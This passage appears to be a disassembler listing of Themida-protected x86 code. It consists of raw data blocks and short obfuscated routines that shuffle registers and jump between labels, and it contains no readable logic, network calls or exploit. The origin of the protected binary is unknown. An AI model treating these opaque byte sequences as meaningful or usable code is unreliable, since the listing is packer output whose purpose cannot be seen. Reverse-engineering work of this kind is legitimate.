0A13FFAEDh, 243C8B1Dh dd 3304C483h, 2C31242Ch, 242C3324h, 0E924248Bh, 0FFFF95CAh dd 24740158h, 1BB95104h, 0E92C9D2Dh, 5D42h ; --------------------------------------------------------------------------- loc_549BC0: ; CODE XREF: Themida_:00550A48j not dword ptr [esp] pop esi inc esi shr esi, 4 xor esi, 0E47EE6A2h jmp loc_5578A3 ; --------------------------------------------------------------------------- loc_549BD3: ; CODE XREF: Themida_:005470E1j mov al, 7Fh sub al, 0C8h or al, 22h push ecx push edx jmp loc_55187F ; --------------------------------------------------------------------------- loc_549BE0: ; CODE XREF: Themida_:0054DA9Aj mov dh, ah mov bl, dh pop edx mov cl, bl push dword ptr [esp] pop ebx add esp, 4 jmp loc_55330F ; --------------------------------------------------------------------------- dw 34FFh dd 0EC815824h, 4, 54240489h, 0A4BCE9h, 0B8EF8000h, 80CDEF80h dd 0FA3009C7h, 52E9505Bh, 6600000Eh, 5724048Bh, 0C781E789h dd 4, 2C781h, 0DCE90000h, 80000028h, 8853ACC4h, 5BF988E7h dd 305E6858h, 1C890000h, 20CEB724h, 0B10EE9F9h, 0C9090000h dd 0F25D840Fh, 8B54FFFFh, 59E92434h, 660000A3h, 9C240431h dd 0FF8AA3E9h, 43D3F7FFh, 0A55EE9h, 4B85000h, 68000000h dd 1780h, 9A1FE9h db 0 ; --------------------------------------------------------------------------- loc_549C81: ; CODE XREF: Themida_:00552582j push 798Fh jmp loc_54AA74 ; --------------------------------------------------------------------------- db 0F6h dd 0BB2DE9D2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549C92: ; CODE XREF: Themida_:00557463j shr ebx, 6 jmp loc_545659 ; --------------------------------------------------------------------------- dw 0D2B9h dd 15FB3C7h, 815059C8h, 4ADA242Ch, 815B00A7h, 0A74ADAC3h dd 9BE95800h, 2CFFFFE4h, 0FFCF041Ch, 815B2434h, 4C4h, 0BF1AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549CCA: ; CODE XREF: Themida_:0054A9DAj pop ebx jmp loc_54270C ; --------------------------------------------------------------------------- dd 0C8BCA31h, 0E2895224h, 4C281h, 0BEE90000h, 80000066h dd 0B60F6DC3h, 8734FFC0h, 0FFE589E9h, 1C77FFFFh, 0D259669Dh dd 0E99C2414h, 1582h, 4B85052h, 0E9000000h, 0A7A8h ; --------------------------------------------------------------------------- loc_549D0C: ; CODE XREF: Themida_:0054471Dj push 2EE2h mov [esp], ecx mov ecx, esp add ecx, 4 sub esp, 4 mov [esp], ebp push esi mov esi, 4 mov ebp, esi pop esi push edi mov edi, 783C05F5h neg edi neg edi push esi mov esi, 65C82873h xor edi, esi mov esi, [esp] add esp, 4 jmp loc_547201 ; --------------------------------------------------------------------------- db 0C1h dd 0D5F702E5h, 2D50CD81h, 0F58110F2h, 680D528Ch, 1890BF57h dd 5BE948ADh db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549D67: ; CODE XREF: Themida_:005571C7j mov ebp, 767D6FCBh xor ebp, 4364805h push ecx push esi mov esi, 71480A77h inc esi or esi, 438A07FAh jmp loc_555692 ; --------------------------------------------------------------------------- db 1, 0FEh, 0E9h dd 9457h, 15FFD29h, 35C581DDh, 836D1B06h, 0D9E904ECh db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549D9F: ; CODE XREF: Themida_:0054CAD7j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx jmp loc_54A7BB ; --------------------------------------------------------------------------- loc_549DB9: ; CODE XREF: Themida_:00544B59j dec ebp not ebp shl ebp, 2 sub ebp, 0F626DBC8h xor ebx, ebp pop ebp and eax, ebx push dword ptr [esp] pop ebx jmp loc_54439F ; --------------------------------------------------------------------------- db 81h dd 0D2E92CFh, 1F78156h, 811DB64Eh, 6A5F81EFh, 4EC8352h dd 0BD242C89h, 14142253h, 815DEF01h, 920A81EEh, 81FE0162h dd 920A81C6h, 0DBE95F62h db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_549E07: ; CODE XREF: Themida_:0055133Fj pop ecx sub ebp, edi push dword ptr [esp] pop edi add esp, 4 shl ebp, 8 sub ebp, 1 add ebp, 0F8898581h sub esp, 4 mov [esp], edi jmp loc_54F8DF ; --------------------------------------------------------------------------- loc_549E31: ; CODE XREF: Themida_:005461B6j pop edx mov ecx, [esp] add esp, 4 push dword ptr [esp] pop ebx push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5519A6 ; --------------------------------------------------------------------------- dd 0E9240C8Bh, 0CBA8h, 0C5A93BAh, 2A0B682Eh, 14890000h dd 2414F724h, 0DEE2815Ah, 0C11F924Eh, 0E2D105E2h, 0ED04C281h dd 0D3019B7Eh, 4DEBE9h, 4C48100h, 52000000h, 0C281E289h dd 4, 4EA81h, 14870000h, 547E924h, 0E6C10000h, 0B9514606h dd 241F2BADh, 0C181D1F7h, 0D91FD02Bh, 5885E9h, 148B6600h dd 2C48324h, 7EF0E9h, 68EB8100h, 55769B08h, 2562B9BDh dd 248BE92Bh, 77B30000h, 0B61CB353h, 0DE68041h, 8081CE80h dd 0C680B7EEh, 50E6806Dh, 8EEE80h, 51665BDEh, 0CE0058B1h dd 0C6805966h, 51DE2869h, 7DB05052h, 48BC288h, 4C48324h dd 808FB753h, 0E7805ECFh, 0FCF3E990h, 0E181FFFFh, 1BFA2546h dd 30A4E181h, 93E91448h, 3300005Ch, 248B2404h, 187DE924h dd 0C4830000h, 1FBC2504h, 57406970h, 5DBFE9h, 81DD0100h dd 0E10110EDh, 31FAE943h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549F4E: ; CODE XREF: Themida_:00555432j mov edx, 1A4069D2h mov esi, 380CB8B8h add esi, edx mov edx, [esp] add esp, 4 jmp loc_54E215 ; --------------------------------------------------------------------------- db 1, 0C6h, 8Bh dd 63E92404h, 83FFFFDDh, 36E904C4h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_549F77: ; CODE XREF: Themida_:00544D37j mov ecx, eax jmp loc_543FAA ; --------------------------------------------------------------------------- dw 0D629h dd 0C1E9F289h, 52FFFFB9h, 0C281E289h, 4, 8704C283h, 535C2414h dd 241C8B54h, 4C481h, 0E9560000h, 0AE90h, 7C3F8A2Dh, 14F70553h dd 55A439Eh, 3D597A0Ch, 0C3236C2Dh, 0E9D8290Dh, 0FFFFA7A8h dd 4D3D5BBBh, 22E9565Ah, 5AFFFFB2h, 2699E9h, 8732E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549FDA: ; CODE XREF: Themida_:00553D2Aj push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 jmp loc_545AB5 ; --------------------------------------------------------------------------- dd 0B9h, 91E98100h, 2942AB05h, 91C181D1h, 8942AB05h, 0F28159CAh dd 0AF1D9978h, 0FBE9D001h, 4700006Eh, 384068h, 24148900h dd 4C6FB951h, 5BBA2B01h, 81E952F2h, 0BA36E2C2h, 0E9CA0123h dd 0AC37h ; --------------------------------------------------------------------------- loc_54A030: ; CODE XREF: Themida_:0054B8ADj add edx, 4 add edx, 4 xchg edx, [esp] pop esp push ebx push ebp mov ebp, esp jmp loc_550E1D ; --------------------------------------------------------------------------- dw 0C15Fh dd 0EF8104E7h, 60EF5FFEh, 815FFD89h, 0AE59B6EAh, 0E9EA2976h dd 5EFFh, 4B951h, 0CB290000h, 241C3359h, 33241C31h, 0E95C241Ch dd 4F0Dh ; --------------------------------------------------------------------------- loc_54A078: ; CODE XREF: Themida_:00555BA6j mov ah, 93h mov bh, 0C6h xor bh, ah mov eax, [esp] add esp, 4 xor al, bh jmp loc_54909D ; --------------------------------------------------------------------------- db 68h dd 22B1h, 24048F54h, 4EC81h, 3C890000h, 4BF24h, 7C010000h dd 3C8B0424h, 0F382E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A0AE: ; CODE XREF: Themida_:00548B37j pop eax add dh, 0F6h push ecx mov cl, 0C6h jmp loc_546610 ; --------------------------------------------------------------------------- dw 0C781h dd 49F93515h, 0FFB926E9h, 60BFBFFFh, 81471ECCh, 0D706EBC7h dd 0CBB5352h, 0C12A8370h, 814B05EBh, 6227C2E3h, 8AF38137h dd 2979C848h, 0C7815BDFh, 113AF3BDh, 45DBC781h, 0F7814A70h dd 54C6557Fh, 3C8BF889h, 18DFE924h, 23BB0000h, 816C2C30h dd 94213FE3h, 536FE948h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A116: ; CODE XREF: Themida_:005521F2j push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_5547FA ; --------------------------------------------------------------------------- db 83h dd 0BF5704C4h, 4, 3C8BF901h, 4C48324h, 0FFD97DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A139: ; CODE XREF: Themida_:00543F22j xor ebx, edx jmp loc_5431F5 ; --------------------------------------------------------------------------- dd 5513EBEh, 0F7DEF757h, 5AE94ED6h, 100007Ah, 11C181E9h dd 8123F864h, 60CA9C1h, 59CE96Eh, 0CC800000h, 75B151A6h dd 0E980C9FEh, 59CC2871h, 0E906E4C0h, 0FFFFFABBh, 815F5457h dd 4C7h, 9FB3E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A186: ; CODE XREF: Themida_:00548549j add edx, 4 xchg edx, [esp] pop esp or eax, eax jz loc_5468B0 push ebx jmp loc_5449B3 ; --------------------------------------------------------------------------- dw 0E089h dd 4BF57h, 0F8010000h, 4055Fh, 4870000h, 0BD555C24h, 521C767Dh dd 0F581E5D1h, 0B5FE9764h, 34FFEB29h, 0E9575D24h, 4ADEh dd 7A3468h, 242C8900h, 0BE565D54h, 4, 0FFA0E1E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A1E1: ; CODE XREF: Themida_:00552FD8j sub edi, 4 xor edi, [esp] xor [esp], edi jmp loc_555E5D ; --------------------------------------------------------------------------- loc_54A1F2: ; CODE XREF: Themida_:00551C0Fj push edi mov edi, 253347B1h sub edi, 574C4C31h inc edi inc edi add edi, 7A8D40D4h sub edi, 165A608Eh add edi, 0CDE62438h push edx mov edx, edi mov eax, edx jmp loc_55753B ; --------------------------------------------------------------------------- loc_54A21C: ; CODE XREF: Themida_:005457F0j inc esi shl esi, 5 jmp loc_547A95 ; --------------------------------------------------------------------------- loc_54A225: ; CODE XREF: Themida_:0054340Aj add eax, 2E310F42h add eax, 7C445F1Bh add eax, esi sub eax, 7C445F1Bh jmp loc_545324 ; --------------------------------------------------------------------------- db 1 dd 2C875EF5h, 0E918E924h, 0E95EFFFFh, 4044h ; --------------------------------------------------------------------------- loc_54A24C: ; CODE XREF: Themida_:005567EBj add edi, ebp jmp loc_5442D1 ; --------------------------------------------------------------------------- aZIsT db '¾‡',8,1Bh,'›éºT',0 dd 0E7814700h, 2B4412B0h, 0A335E9h, 5846B900h, 0D4E93F4Ch dd 81FFFFE0h, 9E042444h, 817BCD54h, 60042444h, 0E92DEC08h dd 6490h, 4B850h, 26E90000h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A293: ; CODE XREF: Themida_:0055593Bj mov ebx, esp push eax mov eax, 73E60FE1h and eax, 57756BC2h sub eax, 63B80431h add eax, 2F68467Fh jmp loc_54B4F1 ; --------------------------------------------------------------------------- loc_54A2AF: ; CODE XREF: Themida_:00553EA8j xor ebx, 68412C3Fh mov eax, ebx pop ebx jmp loc_54AD74 ; --------------------------------------------------------------------------- db 50h, 89h, 0E0h dd 4BE56h, 80E90000h, 810000D6h, 0BD04246Ch, 1454B3Eh dd 8104246Ch, 0BD042444h, 5D454B3Eh, 0E9243C29h, 0FFFFEDFBh ; --------------------------------------------------------------------------- loc_54A2E8: ; CODE XREF: Themida_:005531A2j xor edi, [esp] mov esp, [esp] push dword ptr [esp] mov ecx, [esp] add esp, 4 push 4D92h mov [esp], eax mov eax, esp sub esp, 4 mov [esp], esi push esp pop esi add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi push edi mov edi, 720E6D9Fh mov esi, 0A04EE617h sub esi, 6CBD66C1h add esi, edi add esi, 6CBD66C1h jmp loc_547B6A ; --------------------------------------------------------------------------- aUCb db 'U½Ú<ÒCÅÈ&',0 db 4, 0E9h, 13h dd 81FFFFA8h, 5C378CC1h, 0BB535F73h, 101B3E2Ah, 0C1DAC381h dd 0D901EFE4h, 83241C8Bh, 2CE904C4h db 68h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A36B: ; CODE XREF: Themida_:00546C43j add ebp, 0DD66B915h add ebx, ebp pop ebp sub ebx, 698722F3h add ebx, ebp add ebx, 698722F3h sub ebx, 331D274Ch jmp loc_5435D3 ; --------------------------------------------------------------------------- db 88h, 0DEh, 5Bh dd 0E902EEC0h, 0FFFFCD5Ah, 8124248Bh, 4ECh, 24348900h dd 2B3ABEh, 0A8B85059h, 2917FF2Ah, 0EC8158C6h, 4, 0D459E9h dd 0E955AD00h, 363Bh, 8CB9515Eh, 49129411h, 1E59BF57h dd 0C18160E4h, 665F144Eh, 79B0E981h, 0F9016C24h, 0FFD2EAE9h dd 0C895CFFh, 4CE95324h db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A3EF: ; CODE XREF: Themida_:005574B3j neg esi sub esi, 0F95ED101h add eax, 471A6156h add eax, esi push esi jmp loc_546F27 ; --------------------------------------------------------------------------- loc_54A404: ; CODE XREF: Themida_:0054E9ABj add esp, 4 push ecx push ebp push 7AC26C6Fh pop ebp jmp loc_5568E7 ; --------------------------------------------------------------------------- dd 0C681D6F7h, 58B51566h, 6634E9h, 8BEF8800h, 0E3E9240Ch dd 0BBFFFFA5h, 1D554561h, 0FFDE07E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A435: ; CODE XREF: Themida_:005537C1j push edi mov edi, 6DFA7C9Ah jmp loc_551F16 ; --------------------------------------------------------------------------- dd 31241C33h, 30E9241Ch db 0ABh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A44B: ; CODE XREF: Themida_:005531AEj pop esi push edx mov edx, 7B86038Ch and edx, 3C255F92h jmp loc_544B41 ; --------------------------------------------------------------------------- loc_54A45D: ; CODE XREF: Themida_:005459E6j mov edi, 35A73F57h shr edi, 3 shl edi, 1 push ebp push edx push ecx mov ecx, 573D0CB2h dec ecx sub ecx, 66A449Ah not ecx xor ecx, 9F7F4942h mov edx, ecx mov ecx, [esp] add esp, 4 inc edx xchg eax, edx neg eax xchg eax, edx not edx sub edx, 0F6D40222h mov ebp, edx pop edx or edi, ebp pop ebp push ecx mov ecx, 4603F69h inc ecx jmp loc_547C15 ; --------------------------------------------------------------------------- loc_54A4A8: ; CODE XREF: Themida_:00557A4Dj mov edx, 1F842DF3h xor [esp+4], edx mov edx, [esp] add esp, 4 jmp loc_54EE7F ; --------------------------------------------------------------------------- dd 4B850h, 7EE90000h, 8BFFFF89h, 89562404h, 9284E9E6h dd 0CB290000h, 3972EB81h, 0E9597F57h, 0FFFFB1BDh ; --------------------------------------------------------------------------- loc_54A4E0: ; CODE XREF: Themida_:0055241Aj shr edi, 7 sub edi, 44431DBCh jmp loc_54F5FD ; --------------------------------------------------------------------------- dw 0E95Ch dd 0FFFF8218h, 4062F281h, 0A3E957B2h db 0BDh, 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 631Ch mov [esp], ebx mov ebx, 1362054Dh shr ebx, 1 not ebx inc ebx inc ebx dec ebx sub ebx, 0F64EFD56h jmp loc_5496E8 ; --------------------------------------------------------------------------- loc_54A521: ; CODE XREF: Themida_:0054BB44j mov esi, ebp pop ebp pop edx and ebp, esi pop esi xor ebp, 8A2045h and eax, ebp jmp loc_552565 ; --------------------------------------------------------------------------- aRiS db '¸i°>éß',0 db 2 dup(0), 1 dd 84C181F9h, 8B629F71h, 0E951243Ch, 486Eh, 83241C89h dd 50E904ECh db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A55B: ; CODE XREF: Themida_:0055267Dj mov ebx, 0A8552E24h add ecx, ebx jmp loc_551460 ; --------------------------------------------------------------------------- db 30h dd 8E53E9C6h, 0F387FFFFh, 9018E9h, 0F665C00h, 9C2404B3h dd 0FF818BE9h, 86D3F6FFh, 8B66241Ch, 0C4832404h, 56C78602h dd 26F2E9h, 47F28000h, 28A9F280h, 24148BD3h, 4C481h, 8AE90000h dd 89000043h, 14F72404h, 7AB0E924h, 35050000h, 31FD6076h dd 0CD0958C1h, 0FCED8159h, 177896Fh, 242C8BE8h, 4C481h dd 7A680000h, 8900003Fh, 36E9241Ch, 59FFFF97h, 8324348Bh dd 10E904C4h, 5A000004h, 16C668h, 24348900h, 987D13BEh dd 40166841h, 0C890000h, 0D0BB924h, 0EC8327E7h, 24348904h dd 20DFB850h, 8DBE5BE8h, 299B9E76h, 0AB6EE9C6h, 0C7890000h dd 0FFE35DE9h, 0A1EA81FFh, 9B1F21Fh, 0BF575AD0h, 7B781358h dd 0DADCE947h, 0E955FFFFh, 0FFFFAAA2h ; --------------------------------------------------------------------------- loc_54A640: ; CODE XREF: Themida_:005548DCj sub ebx, 4 jmp loc_544D1D ; --------------------------------------------------------------------------- loc_54A64B: ; CODE XREF: Themida_:00551F9Cj xor eax, ecx xchg esi, ecx not esi jmp loc_557630 ; --------------------------------------------------------------------------- dw 1489h dd 81E28924h, 4C2h, 2C28100h, 33000000h, 14312414h, 24143324h dd 0FFC406E9h, 243489FFh, 0FAE9E689h, 4A0000B6h, 0CFF9F281h dd 0D6291A47h, 2434875Ah, 243C895Ch, 8904EC83h, 0E9552424h dd 0FFFFD600h, 8324148Bh, 0BCE904C4h, 5C000031h, 51240489h dd 10E8B850h, 0DDE96EC6h, 0E9000071h, 0FFFF8050h ; --------------------------------------------------------------------------- loc_54A6BC: ; CODE XREF: Themida_:00552941j add esp, 4 push dword ptr [esp] pop ecx push esi sub esp, 4 jmp loc_549A17 ; --------------------------------------------------------------------------- dd 29DFEE81h, 0C6293228h, 29DFC681h, 34FF3228h, 0C4835824h dd 2601E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A6E6: ; CODE XREF: Themida_:00552EAEj push edx jmp loc_556A3C ; --------------------------------------------------------------------------- dd 0EB80C328h, 0F5EDE9C9h, 0C89FFFFh, 9A20E924h, 0E95DFFFFh dd 0AF61h, 0E924248Bh, 4CD1h, 203CC581h, 0E801DCDAh, 5C42D5Dh dd 815E76D8h, 2D6BA9C3h, 27E9502Bh, 5CFFFFEEh, 0FF999FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A72D: ; CODE XREF: Themida_:005440DFj mov [esp], ebx mov ebx, 67391C9Bh add ebx, 31A27B77h or ebx, 1F90755Ah jmp loc_54EFDA ; --------------------------------------------------------------------------- dw 0DDF7h dd 520EC581h, 0EA017FEAh, 2414335Dh, 33241431h, 248B2414h dd 4EC8124h, 0E9000000h, 54Ah ; --------------------------------------------------------------------------- loc_54A768: ; CODE XREF: Themida_:00550371j sub bh, al jmp loc_54813E ; --------------------------------------------------------------------------- aM0HM db '¬0Øh;M',0 dw 8900h dd 0A0E9240Ch db 49h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A77F: ; CODE XREF: Themida_:00543FCAj pop ecx push 32F3h mov [esp], ebx mov ebx, ebp mov ecx, ebx mov ebx, [esp] sub esp, 4 mov [esp], edx mov edx, esp push 40F5h jmp loc_551E7E ; --------------------------------------------------------------------------- db 5Dh, 57h, 89h dd 685652E7h, 14D83C96h, 46D6F75Eh, 1D13BF57h, 0BDE968CDh db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A7BB: ; CODE XREF: Themida_:00549DB4j push 5A46h mov [esp], esi mov esi, 69054448h sub [esp+4], esi pop esi push dword ptr [esp] pop eax add esp, 4 push ebx mov ebx, 4FAE744Ah shl ebx, 1 and ebx, 5A7F765Fh shl ebx, 3 jmp loc_550565 ; --------------------------------------------------------------------------- db 0B8h, 2Eh, 37h dd 0BD551060h, 0FFFFFFFFh, 0E95DE829h, 84C7h, 0FC885051h dd 0C8E1E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A80A: ; CODE XREF: Themida_:005505F2j inc esi sub esp, 4 mov [esp], eax mov eax, 67BC4809h not eax sub eax, 1C2264F2h inc eax jmp loc_54C96C ; --------------------------------------------------------------------------- db 0BBh dd 4, 1283E981h, 0D9011323h, 1283C181h, 835B1323h, 0C3302C1h dd 0CD12E924h, 92BBFFFFh, 817EB059h, 8052E4CBh, 4BEBD144h dd 4EC1F381h, 0D90938AEh, 4E9C15Bh, 486BD55h, 98E9297Eh dd 5A000012h, 4BA52h, 0A5E90000h, 59FFFF85h, 3058C688h dd 0F5805AF5h, 59EC88C2h, 8B66E220h, 0C4832404h, 0C0C2FE02h dd 0B05005E2h, 5E8C0A3h, 3084B353h, 0CAE95BD8h, 81000088h dd 791544C3h, 5CC3810Bh, 5D11D46Fh, 0FFB05DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A8B1: ; CODE XREF: Themida_:0054676Cj push eax mov eax, esp add eax, 4 push edi mov edi, 6CED4F40h neg edi neg edi sub edi, 2087085Ah jmp loc_54B2E9 ; --------------------------------------------------------------------------- loc_54A8CE: ; CODE XREF: Themida_:0055115Ej mov ecx, esp jmp loc_5534C3 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 8304C483h, 2C8904ECh, 0B1685224h, 0E93AE65Ch, 118Bh ; --------------------------------------------------------------------------- loc_54A8EC: ; CODE XREF: Themida_:0054C46Cj xor edx, [esp] xor [esp], edx jmp loc_54B539 ; --------------------------------------------------------------------------- db 81h dd 42404h, 1C8B0000h, 89EFE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A906: ; CODE XREF: Themida_:00542AF5j push ecx jmp loc_552483 ; --------------------------------------------------------------------------- dd 9FE9D3F7h db 45h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A913: ; CODE XREF: Themida_:0055543Fj mov ecx, esp add ecx, 4 add ecx, 4 push ecx jmp loc_552AE8 ; --------------------------------------------------------------------------- dd 55240C8Bh, 0C5815D54h, 4, 459B68h, 5CE900h, 0E9530000h dd 0FFFFB383h ; --------------------------------------------------------------------------- loc_54A940: ; CODE XREF: Themida_:00556C60j add esi, 74EA5DA8h pop edx add esi, ecx jmp loc_555B84 ; --------------------------------------------------------------------------- dw 0F781h dd 0EE47B7A7h, 6BD0EA81h, 0FA290F61h, 0FF8A22E9h, 0C8966FFh dd 0B60F6624h, 9C5166C8h, 0FF7D9BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A971: ; CODE XREF: Themida_:00543838j add edx, 3F7002EDh jmp loc_54F5AF ; --------------------------------------------------------------------------- dd 0E95AD001h, 0FFFF8D6Ah, 4C381h, 1C870000h, 24248B24h dd 76A0E95Fh, 1C890000h, 4BB24h, 0A5E90000h, 89FFFFC5h dd 5FB62414h, 0FF9962E9h, 4EC81FFh, 89000000h, 74FF241Ch dd 34FF0424h, 0C4815B24h, 4, 8B24048Fh, 0FA682424h, 89000019h dd 0E950241Ch, 0D8Dh ; --------------------------------------------------------------------------- loc_54A9D8: ; CODE XREF: Themida_:0054D5F3j sub edx, ebx jmp loc_549CCA ; --------------------------------------------------------------------------- db 54h dd 4C6815Eh, 83000000h, 343304EEh, 24343124h, 8B243433h dd 7DE92424h, 10000CEh, 2434FFD7h, 4C4835Ah, 4BE56h, 0F7290000h dd 243C335Eh, 0E9243C31h, 7EB0h ; --------------------------------------------------------------------------- loc_54AA18: ; CODE XREF: Themida_:00551E9Ej add dword ptr [esp+4], 5A4B59A8h pop ebx mov ebp, [esp] add esp, 4 jmp loc_550B0D ; --------------------------------------------------------------------------- dd 4C4835Ah, 8B240487h, 3C892424h, 68E78924h, 2A56h, 0BB241C89h dd 2B0E6057h, 0BD55D3F7h, 0D4F19FA4h, 0FFE134E9h db 0FFh ; --------------------------------------------------------------------------- loc_54AA55: ; CODE XREF: Themida_:005465EDj push edx mov edx, esp add edx, 4 add edx, 4 push edx jmp loc_5534B9 ; --------------------------------------------------------------------------- aSsU db 'Sé¼u',0 dd 0E9D08800h, 24D0h ; --------------------------------------------------------------------------- loc_54AA74: ; CODE XREF: Themida_:00549C86j mov [esp], esp push edx jmp loc_550F33 ; --------------------------------------------------------------------------- loc_54AA7D: ; CODE XREF: Themida_:0054AD6Fj sub ebx, 3CBC7275h jmp loc_5490C2 ; --------------------------------------------------------------------------- dd 266668h, 24148900h, 0FF7C77E9h, 6AC181FFh, 81565345h dd 853876C1h, 1018123h, 8B000000h, 0C483240Ch, 3550E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AAB2: ; CODE XREF: Themida_:00546CFBj xchg edi, [esp] pop esp xchg eax, [esp] mov esp, [esp] shr eax, 0Eh xor eax, ecx push eax jmp loc_54FE20 ; --------------------------------------------------------------------------- db 50h dd 183F4FB8h, 8560D1Bh, 31952413h, 0CF26E9C5h, 4B9FFFFh dd 0E9000000h, 0FFFF868Bh ; --------------------------------------------------------------------------- loc_54AAE4: ; CODE XREF: Themida_:00548723j sub esp, 4 mov [esp], ebp jmp loc_54789C ; --------------------------------------------------------------------------- db 50h dd 405E089h, 83000000h, 48704C0h, 24685C24h, 0E900003Eh dd 811Dh, 0E924048Fh, 5374h ; --------------------------------------------------------------------------- loc_54AB10: ; CODE XREF: Themida_:00554033j mov [esp], eax push edx jmp loc_54E8D7 ; --------------------------------------------------------------------------- db 58h, 68h, 18h dd 8900006Eh, 0F6E92414h, 66FFFFEBh, 66C3BA35h, 48BC701h dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 0F829665Ch dd 243C8B66h, 0FF925CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54AB4D: ; CODE XREF: Themida_:00553BCBj xor ecx, 10635CF7h jmp loc_55468F ; --------------------------------------------------------------------------- loc_54AB58: ; CODE XREF: Themida_:00557B44j xor ebp, [esp] pop esp mov [esp], ecx jmp loc_54270C ; --------------------------------------------------------------------------- loc_54AB64: ; CODE XREF: Themida_:00552EE0j add ebx, 3E8226EBh add ebx, 750731E1h neg ebx and ebx, 5DA22EF4h jmp loc_557457 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0C381EB01h, 126B5F5Ch, 83242C8Bh, 0C38104C4h, 7EEE6F32h dd 0CEE9C329h, 28000055h, 8B1204E8h, 8951240Ch, 4C181E1h dd 50000000h, 0E314FFB8h, 0C1D8F743h, 0E0C103E8h, 0B4B0E906h dd 0D8010000h, 42D5Bh, 4870000h, 24248B24h, 57241489h dd 81E68956h, 4C6h, 36116800h, 0C890000h, 4B924h, 0CE290000h dd 24348759h, 0C12FE9h, 81E28900h, 4C2h, 4EA8100h, 87000000h dd 545C2414h, 8324048Fh, 8F042404h, 4832404h, 148B0424h dd 9A82E924h, 8951FFFFh, 8843E9E1h, 0D3890000h, 0E9D3F75Ah dd 0FFFF88C3h ; --------------------------------------------------------------------------- loc_54AC2C: ; CODE XREF: Themida_:00555355j mov esi, 1D576F3Eh neg esi and esi, 52164897h sub esi, 2E022833h and esi, 52DE0B83h xor esi, 2527563Dh add ecx, esi pop esi add ecx, 0DF696A93h add edi, ecx pop ecx mov esi, edi pop edi jmp loc_556FAF ; --------------------------------------------------------------------------- loc_54AC5F: ; CODE XREF: Themida_:00555134j push ebx mov ebx, 62675C00h sub esp, 4 mov [esp], ebp mov ebp, 18996A81h jmp loc_543754 ; --------------------------------------------------------------------------- dd 50241489h, 17C6E99Ch, 3C890000h, 1B85024h, 0E9000000h dd 0FFFFAF0Ah ; --------------------------------------------------------------------------- loc_54AC90: ; CODE XREF: Themida_:00546A63j push esi jmp loc_55723B ; --------------------------------------------------------------------------- loc_54AC96: ; CODE XREF: Themida_:0054C1BFj add [esp+2], bl pop bx sub [esp], ah push edx mov dl, 25h sub [esp+4], dl pop edx mov ah, [esp] add esp, 2 jmp loc_555EBC ; --------------------------------------------------------------------------- dw 1C89h dd 0FB69E924h, 8B4FFFFh, 0E94AC480h, 53B4h, 77516859h dd 1C890000h, 8847E924h, 34890000h, 0E36E924h, 68560000h dd 4D7952BAh, 2B33E9h, 4EF8100h, 57000000h, 42474FFh, 81243C8Bh dd 4C4h, 24048F00h, 2434895Ch, 1464E9h, 24440100h, 348B5804h dd 4C48324h, 0BD10E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AD16: ; CODE XREF: Themida_:0054D68Fj mov ebx, [esp] add esp, 4 sub dh, 4Eh jmp loc_54FC9B ; --------------------------------------------------------------------------- a@hs8 db '@Hé,8',0 align 2 dw 3C89h dd 0A4C5E924h, 0CD81FFFFh, 79A7481Eh, 0D30BE953h, 0C483FFFFh dd 4329E904h, 34FF0000h, 7B8EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AD52: ; CODE XREF: Themida_:005568DAj xor edi, [esp] pop esp sub esp, 4 jmp loc_5527F4 ; --------------------------------------------------------------------------- dw 8966h dd 0E9502414h, 5CAAh ; --------------------------------------------------------------------------- loc_54AD68: ; CODE XREF: Themida_:0054EB06j pop esp sub ebx, 22407C0Bh jmp loc_54AA7D ; --------------------------------------------------------------------------- loc_54AD74: ; CODE XREF: Themida_:0054A2B8j shr eax, 7 shr eax, 7 add eax, 0FFFF938Ch add ebx, eax mov eax, [esp] add esp, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push 460Eh mov [esp], edx jmp loc_54FA10 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4835F24h, 5A545204h, 95DCE951h, 0CB01FFFFh, 1EB8159h dd 68000000h, 3CFEh, 0B8240489h, 664A28AFh, 5158C309h dd 5D25E9B9h, 0E9CB3122h, 73B6h ; --------------------------------------------------------------------------- 